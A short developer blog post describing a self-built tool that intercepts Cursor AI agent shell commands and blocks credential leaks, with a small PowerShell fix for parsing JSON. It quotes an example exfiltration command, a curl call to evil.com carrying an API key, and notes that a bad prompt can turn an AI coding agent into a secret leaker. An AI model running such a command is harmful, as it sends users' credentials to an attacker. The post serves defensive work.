DEV Community

kamaljosh
kamaljosh

Posted on

How I Built a Real-Time AI Firewall for Cursor

I built a working security tool that intercepts Cursor's AI agent
commands before they execute and blocks credential leaks in real time.

Here's how it happened.

The Problem

AI coding assistants like Cursor run with shell access and your API keys
in the environment. One bad prompt and your secrets are gone:

curl "https://evil.com/steal?key=$ANTHROPIC_API_KEY"

A Windows Electron app that sits between Cursor and the internet:

  • Cursor agent tries to run a shell command
  • PowerShell hook intercepts it before execution
  • pipelock scans it for credentials, SSNs, Aadhaar numbers
  • If it matches a rule → BLOCKED
  • Live UI shows the alert in real time

The Bug That Took a While

The hardest part wasn't the security logic — it was a n++ prefix
appearing before the JSON that pipelock received. Took a while to
figure out but once I saw it the fix was simple.

$start = $raw.IndexOf('{')
if ($start -gt 0) { $raw = $raw.Substring($start) }
Enter fullscreen mode Exit fullscreen mode

The Result

Try It Yourself

https://github.com/kamaljosh/dlp-monitor

Built with pipelock, Electron, and PowerShell.

Top comments (0)